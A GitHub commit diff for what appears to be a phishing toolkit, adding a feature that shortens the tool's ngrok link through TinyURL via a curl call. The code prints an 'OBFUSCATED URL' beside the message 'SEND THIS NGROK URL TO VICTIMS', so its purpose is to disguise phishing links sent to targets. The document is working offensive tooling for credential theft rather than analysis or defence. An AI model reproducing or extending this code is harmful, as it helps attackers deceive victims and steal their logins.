Merge pull request #404 from DarkSecDevelopers/An0nUD4Y-patch-1

Added Tinyurl ! (Only For NGROK )
This commit is contained in:
AnonUD4Y 2019-10-10 12:19:52 +00:00 committed by GitHub
commit 4d1f303e0e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -173,8 +173,14 @@ def selectServer(port): #Question where user must select server
urlFile = open('ngrok.url', 'r') urlFile = open('ngrok.url', 'r')
url = urlFile.read() url = urlFile.read()
urlFile.close() urlFile.close()
system("curl -o tinyurlsource.txt -s 'http://tinyurl.com/create.php?url='"+url)
system("""grep success -F tinyurlsource.txt | cut -d'"' -f6 > tinyurl.txt """)
urlFile = open('tinyurl.txt', 'r')
tinyurl = urlFile.read()
urlFile.close()
if re.match("https://[0-9a-z]*\.ngrok.io", url) != None: if re.match("https://[0-9a-z]*\.ngrok.io", url) != None:
print(_("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} NGROK URL: {2}".format(MAIN0, MAIN2, MAIN3, port) + url + "{1}").format(MAIN0, MAIN4, MAIN3)) print(_("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} NGROK URL: {2}".format(MAIN0, MAIN2, MAIN3, port) + url + "{1}").format(MAIN0, MAIN4, MAIN3))
print("{0}[{1}*{0}]{1} OBFUSCATED URL: {2}".format(MAIN0, MAIN2, MAIN3, port) + tinyurl + "{1}".format(MAIN0, MAIN4, MAIN3))
print("\n") print("\n")
break break